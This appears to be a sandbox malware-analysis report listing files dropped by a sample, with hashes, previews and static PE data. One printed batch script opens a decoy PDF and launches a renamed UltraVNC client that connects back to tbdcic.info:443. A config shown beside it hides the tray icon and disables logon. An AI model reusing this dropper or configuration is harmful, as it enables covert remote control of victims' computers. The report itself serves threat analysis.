Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c87616c2-e185-4322-ab3e-834045ef6079.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d2ecfc73-7689-472c-9022-64de92156dcc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/pwYIGNPQxW/07oXGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:xwZG2xW/xXGZn3mlind9i4ufFXpAXkru
MD5:	64519B3A50204131E7CD6FFCD844ACD7
SHA1:	197EFD8661422562DD58600674F275EAE39E348C
SHA-256:	C2FDD4384B808A99B2F0D3DDDF227795FC3EEE937DD30A2C1D41DC8E5449031E
SHA-512:	33B7A0B69494553B57F537ED1E49A24280290ACB8A9703D615A1D182BA64CF02D67AF0A48BBA664CA4315B515A1AF63A9E92FB02D1BFB0648CF147F1EBD9EA4B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\Downloads\Lom.pdf

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PDF document, version 1.5 (zip deflate encoded)
Category:	dropped
Size (bytes):	605114
Entropy (8bit):	7.931189302613814
Encrypted:	false
SSDEEP:	12288:A9bEzJrWWXvkqWpnMs6LQ1BU9U0pGOdbLL23yKBcPr:AFEzJrZXvkqYgUwuCUcPr
MD5:	A18D0E3EEEF0D6E099BAB52F8B041446
SHA1:	4879750BEC07AA11629950310AF538E9A9D91D20
SHA-256:	95F656B24E7D5E192BF4EA8216CCB539299EE908A3E998FCEE4B1A655BAF66EF
SHA-512:	6E2C2D96C98EE24AC6235B35131889D338ABC5E8399A41204AB2DFCFF56E40ABF6476A3F080A0F12715F8A6685182258EA6183645FD8D337B7F09EE14295FBAD
Malicious:	false
Preview:	%PDF-1.5.%.....92 0 obj.<</Filter/FlateDecode/Length 3501>>.stream.x..Zmo...>..EA.,..(J.s~..S+.v..^.b.....4...Ea.I..m.4_..;......%0p:......3.......?..w........&/../.........=...en......?...../..m._..v.}T..l..?..g...l.7.A....Nq..z.m..c..Nv...<.........3...s4.C..C...f.....l.0...-.-8...~.c.yi.`y..]...uf.)K.x...1T...Iw...5D..iE.v.a5.t..h.3Z.@..XRgXR..4....A.....a..C.)n.E%...g....d....T.$..?..`Z.>...F....:.aT8].k:\|...v.....=+}..O..A.a..z6.D.SU.]'"=.f2...1....`.}R.#.R.4.....<$......Z..agQ....u....V.$~.z5.?.r.).......'.p..6...l..#~...}....c.8k{/$.Z8G....:..5A.T......M....b.M..._.FE.}.5.........;...e.....j.......E...4...'E.e'..>....u..v...l..?..u.x......_"..-.9.CX.3.#...=....;.......b.j........j$Y..G......./,..Rh.....m...'9..V.....e.".....Y.{...?g.bi.....T..0!.k.8q......)...xN{..g.`G..F.0.n~.U!.a..(.!..^...[.d'.?fw....x.h...[.:.-..#;.lM@.c.+x1......nFK...].>..n@,H..-.C ........*zf.Z.0W-.....5#]...C..8.Pm1Q.8...5.,. ....Ce=....p.5.u!.e.....Q).=.G.

C:\Windows\Tasks\5482310161066753

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	5.5415018235723945
Encrypted:	false
SSDEEP:	24:gDo8Dlr0RMqL0LtvJW2urcW1SalC/ki2wpx/m:aEb2AhFWx/m
MD5:	651796E1EB5F2C51A6DD6929A65184DA
SHA1:	C475C14C2D71453126FBDE6E135C4B68801A0E9F
SHA-256:	8F0E40CBAAA9C09FA66C18BB90B54FD373EAEF4328E166EB5D0A3EE036F8DD49
SHA-512:	C76F34CD8F7BC54A2D229B6DE8C0899FD676DB75001BAF0A7394655BE85CCE65539D3B7D1565A2381ADECF851615B9A989C9D83B22B6732BA4272026D9D8454F
Malicious:	false
Preview:	@echo off.setlocal enabledelayedexpansion.set dLblEw=nhost.set H9zjF6=nne.set Ely6ya=co.set rsZWbB=exe.set e2uPdm=Lom.set RscJfa=pdf.set DE4CBb=raVNC.set jq2jOU=%COMPUTERNAME%.set q6noQx=autore.set WWfq61=%WINDIR%\Tasks\698563441.cmd.set AMDK6l=tbdcic.info.set qC9Ryl=Thj0Wf.set eUynLD=443.set uTrzGi=co.set ayToqv=ct.set nM9rdS=Ult.set TfRayV=sync_browser.set erudre=ini.timeout /t 1.copy "gTFLK1.jBd3Ei" "%HOMEPATH%\Downloads\%e2uPdm%.%RscJfa%" & start "" "%HOMEPATH%\Downloads\%e2uPdm%.%RscJfa%".timeout /t 1.taskkill /f /im %TfRayV%.%rsZWbB% .timeout /t 2.copy "GIjul8.QTIrrr" "%TfRayV%.%rsZWbB%".timeout /t 1.copy "CEpr8q.li7XUg" "%nM9rdS%%DE4CBb%.%erudre%".timeout /t 2.start "" %WINDIR%\Tasks\%TfRayV%.%rsZWbB% .timeout /t 8.start "" %WINDIR%\Tasks\%TfRayV%.%rsZWbB% -%q6noQx%%Ely6ya%%H9zjF6%%ayToqv% -id:%jq2jOU%_%qC9Ryl% -%Ely6ya%%H9zjF6%%ayToqv% %AMDK6l%:%eUynLD%.timeout /t 2.copy "sdABZ4.E1924R" "%uTrzGi%%dLblEw%.%rsZWbB%".timeout /t 4.:loop.if exist "%WWfq61%" (. cmd /c "%WWfq61%". tim

C:\Windows\Tasks\5482310161066753.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	5.5415018235723945
Encrypted:	false
SSDEEP:	24:gDo8Dlr0RMqL0LtvJW2urcW1SalC/ki2wpx/m:aEb2AhFWx/m
MD5:	651796E1EB5F2C51A6DD6929A65184DA
SHA1:	C475C14C2D71453126FBDE6E135C4B68801A0E9F
SHA-256:	8F0E40CBAAA9C09FA66C18BB90B54FD373EAEF4328E166EB5D0A3EE036F8DD49
SHA-512:	C76F34CD8F7BC54A2D229B6DE8C0899FD676DB75001BAF0A7394655BE85CCE65539D3B7D1565A2381ADECF851615B9A989C9D83B22B6732BA4272026D9D8454F
Malicious:	false
Preview:	@echo off.setlocal enabledelayedexpansion.set dLblEw=nhost.set H9zjF6=nne.set Ely6ya=co.set rsZWbB=exe.set e2uPdm=Lom.set RscJfa=pdf.set DE4CBb=raVNC.set jq2jOU=%COMPUTERNAME%.set q6noQx=autore.set WWfq61=%WINDIR%\Tasks\698563441.cmd.set AMDK6l=tbdcic.info.set qC9Ryl=Thj0Wf.set eUynLD=443.set uTrzGi=co.set ayToqv=ct.set nM9rdS=Ult.set TfRayV=sync_browser.set erudre=ini.timeout /t 1.copy "gTFLK1.jBd3Ei" "%HOMEPATH%\Downloads\%e2uPdm%.%RscJfa%" & start "" "%HOMEPATH%\Downloads\%e2uPdm%.%RscJfa%".timeout /t 1.taskkill /f /im %TfRayV%.%rsZWbB% .timeout /t 2.copy "GIjul8.QTIrrr" "%TfRayV%.%rsZWbB%".timeout /t 1.copy "CEpr8q.li7XUg" "%nM9rdS%%DE4CBb%.%erudre%".timeout /t 2.start "" %WINDIR%\Tasks\%TfRayV%.%rsZWbB% .timeout /t 8.start "" %WINDIR%\Tasks\%TfRayV%.%rsZWbB% -%q6noQx%%Ely6ya%%H9zjF6%%ayToqv% -id:%jq2jOU%_%qC9Ryl% -%Ely6ya%%H9zjF6%%ayToqv% %AMDK6l%:%eUynLD%.timeout /t 2.copy "sdABZ4.E1924R" "%uTrzGi%%dLblEw%.%rsZWbB%".timeout /t 4.:loop.if exist "%WWfq61%" (. cmd /c "%WWfq61%". tim

C:\Windows\Tasks\CEpr8q.li7XUg

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	Generic INItialization configuration [admin]
Category:	dropped
Size (bytes):	858
Entropy (8bit):	5.216893826927931
Encrypted:	false
SSDEEP:	24:z/h28nCt2vMQg9KgJhuXNTxYgMei3MAKJDv:rh28nCF/KgJOr8eTxDv
MD5:	7EB58E0D2316B8ECE029C804BF4BA8FA
SHA1:	A2A8E2518D12A53CCFCAB925C124933172044D08
SHA-256:	71203DB9D1722FA5B1B627BAA36FEAFC93B1E5F2F779413C84BD4686742A76F9
SHA-512:	3415113B8CA2F79860DF7529CFBC18CBDC24B93B22723B9D34034A683B71906F8DCC20AA568ADF3F4649EB85FD7E8FDF8FDB34FE5A748E4AE7E36ACD2FC063AD
Malicious:	false
Preview:	[Permissions]..[admin]..LocalInputsDisabled=0..IdleTimeout=0..EnableJapInput=0..RemoveAero=0..DebugMode=0..Avilog=0..path=Y:..DebugLevel=0..AllowLoopback=0..LoopbackOnly=0..AllowShutdown=1..AllowProperties=1..AllowEditClients=1..FileTransferTimeout=40..KeepAliveInterval=4..SocketKeepAliveTimeout=14000..DisableTrayIcon=1..MSLogonRequired=0..NewMSLogon=0..ConnectPriority=0..QuerySetting=2..QueryTimeout=8..QueryAccept=0..LockSetting=0..RemoveWallpaper=0..RemoveEffects=0..RemoveFontSmoothing=0..FileTransferEnabled=1..FTUserImpersonation=1..BlankMonitorEnabled=0..BlankInputsOnly=0..DefaultScale=1..UseDSMPlugin=0..DSMPlugin=..DSMPluginConfig=..primary=1..secondary=0..SocketConnect=0..HTTPConnect=0..XDMCPConnect=0..AutoPortSelect=1..PortNumber=5628..HTTPPortNumber=5800..InputsEnabled=1..[UltraVNC]..passwd=F0111C75FCAEB30BD2..passwd2=F2102C75FCAEB11BD2..

C:\Windows\Tasks\GIjul8.QTIrrr

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1945368
Entropy (8bit):	6.532894678367002
Encrypted:	false
SSDEEP:	24576:7x+OMUhcLEQ6EIN1sz4LD7hKCt+/WppxJ1Rj0rPz3AUA/Jpu:FQXL0d7hdrr0rPz3AUA/J0
MD5:	749B3A68B9C5325D592822EE7C2C17EC
SHA1:	3EDE6BB2DF969432358A5883CF226971FDE8B7D4
SHA-256:	F7D4080AD8259B0AAC2504F8B5D8FAB18E5124321C442C8BCB577598059D0B24
SHA-512:	B9C5AE6BA6145048721F6B4D5D9D751E7F0E6945D4D72FDB7959AED11BFC24ABDDBDF02A55A19FDD990648CAA6710ACAE9488329CBE3ABBC808C704954948998
Malicious:	true
Yara Hits:	Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: C:\Windows\Tasks\GIjul8.QTIrrr, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r.l.6...6...6.......8...-U......-U..8...-U..r...6...9...?...4...?...7...?...!...6.......-U......-U..7...-U..7...Rich6...........................PE..d....Y,T.........."......\|..........4..........@..............................(.....0.....@.............................................................t.......$.............(.........................................................(............................text....{.......\|.................. ..`.rdata..,?.......@..................@..@.data....6.......D..................@....pdata..$...........................@..@.rsrc...t...........................@..@.reloc...$....(..&...p..............@..B................................................................................................................................................................................................................................

C:\Windows\Tasks\UltraVNC.ini

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	Generic INItialization configuration [admin]
Category:	dropped
Size (bytes):	858
Entropy (8bit):	5.216893826927931
Encrypted:	false
SSDEEP:	24:z/h28nCt2vMQg9KgJhuXNTxYgMei3MAKJDv:rh28nCF/KgJOr8eTxDv
MD5:	7EB58E0D2316B8ECE029C804BF4BA8FA
SHA1:	A2A8E2518D12A53CCFCAB925C124933172044D08
SHA-256:	71203DB9D1722FA5B1B627BAA36FEAFC93B1E5F2F779413C84BD4686742A76F9
SHA-512:	3415113B8CA2F79860DF7529CFBC18CBDC24B93B22723B9D34034A683B71906F8DCC20AA568ADF3F4649EB85FD7E8FDF8FDB34FE5A748E4AE7E36ACD2FC063AD
Malicious:	false
Preview:	[Permissions]..[admin]..LocalInputsDisabled=0..IdleTimeout=0..EnableJapInput=0..RemoveAero=0..DebugMode=0..Avilog=0..path=Y:..DebugLevel=0..AllowLoopback=0..LoopbackOnly=0..AllowShutdown=1..AllowProperties=1..AllowEditClients=1..FileTransferTimeout=40..KeepAliveInterval=4..SocketKeepAliveTimeout=14000..DisableTrayIcon=1..MSLogonRequired=0..NewMSLogon=0..ConnectPriority=0..QuerySetting=2..QueryTimeout=8..QueryAccept=0..LockSetting=0..RemoveWallpaper=0..RemoveEffects=0..RemoveFontSmoothing=0..FileTransferEnabled=1..FTUserImpersonation=1..BlankMonitorEnabled=0..BlankInputsOnly=0..DefaultScale=1..UseDSMPlugin=0..DSMPlugin=..DSMPluginConfig=..primary=1..secondary=0..SocketConnect=0..HTTPConnect=0..XDMCPConnect=0..AutoPortSelect=1..PortNumber=5628..HTTPPortNumber=5800..InputsEnabled=1..[UltraVNC]..passwd=F0111C75FCAEB30BD2..passwd2=F2102C75FCAEB11BD2..

C:\Windows\Tasks\conhost.exe

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	867840
Entropy (8bit):	6.386550733462827
Encrypted:	false
SSDEEP:	12288:viUJpFQQzI8Qxdp0rksF0Wd24ylXTA4lENCbQZMCF0jdMH:viE/rIpx4rkN8olUWENCsyCF0pe
MD5:	0F568F6C821565AB9FF45C7457953789
SHA1:	F948A4C5E01A74B17D0F966615834BA76DC1BADC
SHA-256:	CC0A60CD15FA21E54615E46CD0F10CFBE86F496DC64D14B31D9F3B415D120EE1
SHA-512:	B73427198596803013F0A1F1F25628380A148D226903C0F91145546B675D17EADA177A18155E4183FAA4B692365141CE1FCDBD13C2C4F8235EB73BECF972EFE8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?]T.^3..^3..^3..&...^3..57..^3..50..^3..^2..[3..52..^3..5>.z^3..56..^3..5...^3..5...^3..51..^3.Rich.^3.........PE..d...?...........".................`..........@....................................9g....`.......... .......................................................`......................pB..p.......................(................... ...`............................text...@........................... ..`.rdata..^J.......L..................@..@.data....H..........................@....pdata.......`......................@..@.didat..............................@....rsrc...............................@..@.reloc...............0..............@..B........................................................................................................................................................................................................................

C:\Windows\Tasks\gTFLK1.jBd3Ei

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PDF document, version 1.5 (zip deflate encoded)
Category:	dropped
Size (bytes):	605114
Entropy (8bit):	7.931189302613814
Encrypted:	false
SSDEEP:	12288:A9bEzJrWWXvkqWpnMs6LQ1BU9U0pGOdbLL23yKBcPr:AFEzJrZXvkqYgUwuCUcPr
MD5:	A18D0E3EEEF0D6E099BAB52F8B041446
SHA1:	4879750BEC07AA11629950310AF538E9A9D91D20
SHA-256:	95F656B24E7D5E192BF4EA8216CCB539299EE908A3E998FCEE4B1A655BAF66EF
SHA-512:	6E2C2D96C98EE24AC6235B35131889D338ABC5E8399A41204AB2DFCFF56E40ABF6476A3F080A0F12715F8A6685182258EA6183645FD8D337B7F09EE14295FBAD
Malicious:	false
Preview:	%PDF-1.5.%.....92 0 obj.<</Filter/FlateDecode/Length 3501>>.stream.x..Zmo...>..EA.,..(J.s~..S+.v..^.b.....4...Ea.I..m.4_..;......%0p:......3.......?..w........&/../.........=...en......?...../..m._..v.}T..l..?..g...l.7.A....Nq..z.m..c..Nv...<.........3...s4.C..C...f.....l.0...-.-8...~.c.yi.`y..]...uf.)K.x...1T...Iw...5D..iE.v.a5.t..h.3Z.@..XRgXR..4....A.....a..C.)n.E%...g....d....T.$..?..`Z.>...F....:.aT8].k:\|...v.....=+}..O..A.a..z6.D.SU.]'"=.f2...1....`.}R.#.R.4.....<$......Z..agQ....u....V.$~.z5.?.r.).......'.p..6...l..#~...}....c.8k{/$.Z8G....:..5A.T......M....b.M..._.FE.}.5.........;...e.....j.......E...4...'E.e'..>....u..v...l..?..u.x......_"..-.9.CX.3.#...=....;.......b.j........j$Y..G......./,..Rh.....m...'9..V.....e.".....Y.{...?g.bi.....T..0!.k.8q......)...xN{..g.`G..F.0.n~.U!.a..(.!..^...[.d'.?fw....x.h...[.:.-..#;.lM@.c.+x1......nFK...].>..n@,H..-.C ........*zf.Z.0W-.....5#]...C..8.Pm1Q.8...5.,. ....Ce=....p.5.u!.e.....Q).=.G.

C:\Windows\Tasks\sdABZ4.E1924R

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	867840
Entropy (8bit):	6.386550733462827
Encrypted:	false
SSDEEP:	12288:viUJpFQQzI8Qxdp0rksF0Wd24ylXTA4lENCbQZMCF0jdMH:viE/rIpx4rkN8olUWENCsyCF0pe
MD5:	0F568F6C821565AB9FF45C7457953789
SHA1:	F948A4C5E01A74B17D0F966615834BA76DC1BADC
SHA-256:	CC0A60CD15FA21E54615E46CD0F10CFBE86F496DC64D14B31D9F3B415D120EE1
SHA-512:	B73427198596803013F0A1F1F25628380A148D226903C0F91145546B675D17EADA177A18155E4183FAA4B692365141CE1FCDBD13C2C4F8235EB73BECF972EFE8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?]T.^3..^3..^3..&...^3..57..^3..50..^3..^2..[3..52..^3..5>.z^3..56..^3..5...^3..5...^3..51..^3.Rich.^3.........PE..d...?...........".................`..........@....................................9g....`.......... .......................................................`......................pB..p.......................(................... ...`............................text...@........................... ..`.rdata..^J.......L..................@..@.data....H..........................@....pdata.......`......................@..@.didat..............................@....rsrc...............................@..@.reloc...............0..............@..B........................................................................................................................................................................................................................

C:\Windows\Tasks\sync_browser.exe

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1945368
Entropy (8bit):	6.532894678367002
Encrypted:	false
SSDEEP:	24576:7x+OMUhcLEQ6EIN1sz4LD7hKCt+/WppxJ1Rj0rPz3AUA/Jpu:FQXL0d7hdrr0rPz3AUA/J0
MD5:	749B3A68B9C5325D592822EE7C2C17EC
SHA1:	3EDE6BB2DF969432358A5883CF226971FDE8B7D4
SHA-256:	F7D4080AD8259B0AAC2504F8B5D8FAB18E5124321C442C8BCB577598059D0B24
SHA-512:	B9C5AE6BA6145048721F6B4D5D9D751E7F0E6945D4D72FDB7959AED11BFC24ABDDBDF02A55A19FDD990648CAA6710ACAE9488329CBE3ABBC808C704954948998
Malicious:	true
Yara Hits:	Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: C:\Windows\Tasks\sync_browser.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r.l.6...6...6.......8...-U......-U..8...-U..r...6...9...?...4...?...7...?...!...6.......-U......-U..7...-U..7...Rich6...........................PE..d....Y,T.........."......\|..........4..........@..............................(.....0.....@.............................................................t.......$.............(.........................................................(............................text....{.......\|.................. ..`.rdata..,?.......@..................@..@.data....6.......D..................@....pdata..$...........................@..@.rsrc...t...........................@..@.reloc...$....(..&...p..............@..B................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.954883444349583
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Olz7TmvkEW.exe
File size:	1'641'047 bytes
MD5:	539b0fc32045de3013d00850827654aa
SHA1:	eed973e0a66dab8e80a1403acd7beab580c34f94
SHA256:	cc5d2ffba999e9263c55a6cf0f0d39d3264b8a0f8683bc3c4314d4faf01f2651
SHA512:	8a8cde6a373509f8d535724dee8838548dfd05ad322141b8b3ccd2a30e9a3a479228e453f222792768b982ccd14c27848518add32a425e7d358041429ab3bb66
SSDEEP:	24576:WKWs4j30INmn7r9693wUGl1wuXIF1YPQx2zgWzyMZuAZnzF77/voe2D7UGxxy+vY:TFg30I8n7r+FGl+ua1vTWzzlzZoe2DNG
TLSH:	20752340B6C3C9F5ED53327618F1AD17BBB2ED290B50158F728CFA123930646A52BA77
File Content Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L...-..P.................2...H....../8.......P....@.........................................................................$s.............................

File Icon


Icon Hash:	357561d6dad24d55

Static PE Info

General

Entrypoint:	0x41382f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x50E0002D [Sun Dec 30 08:49:49 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1d1577d864d2da06952f7affd8635371

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 00416E98h
push 004139C0h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
call dword ptr [004151DCh]
pop ecx
or dword ptr [0041B9E4h], FFFFFFFFh
or dword ptr [0041B9E8h], FFFFFFFFh
call dword ptr [004151E0h]
mov ecx, dword ptr [004199C4h]
mov dword ptr [eax], ecx
call dword ptr [004151E4h]
mov ecx, dword ptr [004199C0h]
mov dword ptr [eax], ecx
mov eax, dword ptr [004151E8h]
mov eax, dword ptr [eax]
mov dword ptr [0041B9E0h], eax
call 00007F24D8DDB222h
cmp dword ptr [00419780h], ebx
jne 00007F24D8DDB10Eh
push 004139B8h
call dword ptr [004151ECh]
pop ecx
call 00007F24D8DDB1F4h
push 00419050h
push 0041904Ch
call 00007F24D8DDB1DFh
mov eax, dword ptr [004199BCh]
mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax
push dword ptr [004199B8h]
lea eax, dword ptr [ebp-64h]
push eax
lea eax, dword ptr [ebp-70h]
push eax
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004151F4h]
push 00419048h
push 00419000h
call 00007F24D8DDB1ACh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17324	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1c000	0x309f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x15000	0x364	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x130f0	0x13200	a86014994324ad6f47bddf386fd89176	False	0.6081495098039216	data	6.614408281478693	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x15000	0x3560	0x3600	9abc217bd20b39b1db2f57ddf9bc789c	False	0.4381510416666667	data	5.5938980842785995	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x19000	0x29ec	0x800	4c129856aeef51c872b4a2f6db01e9bd	False	0.44580078125	data	3.8126171673069433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1c000	0x309f0	0x30a00	2a495bc4a21e28ce1bddf325b402c213	False	0.7838658820694088	data	7.467752676575126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1c280	0x18de	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Russian	Russia	0.9696826892868363
RT_ICON	0x1db60	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	Russian	Russia	0.08974964572508266
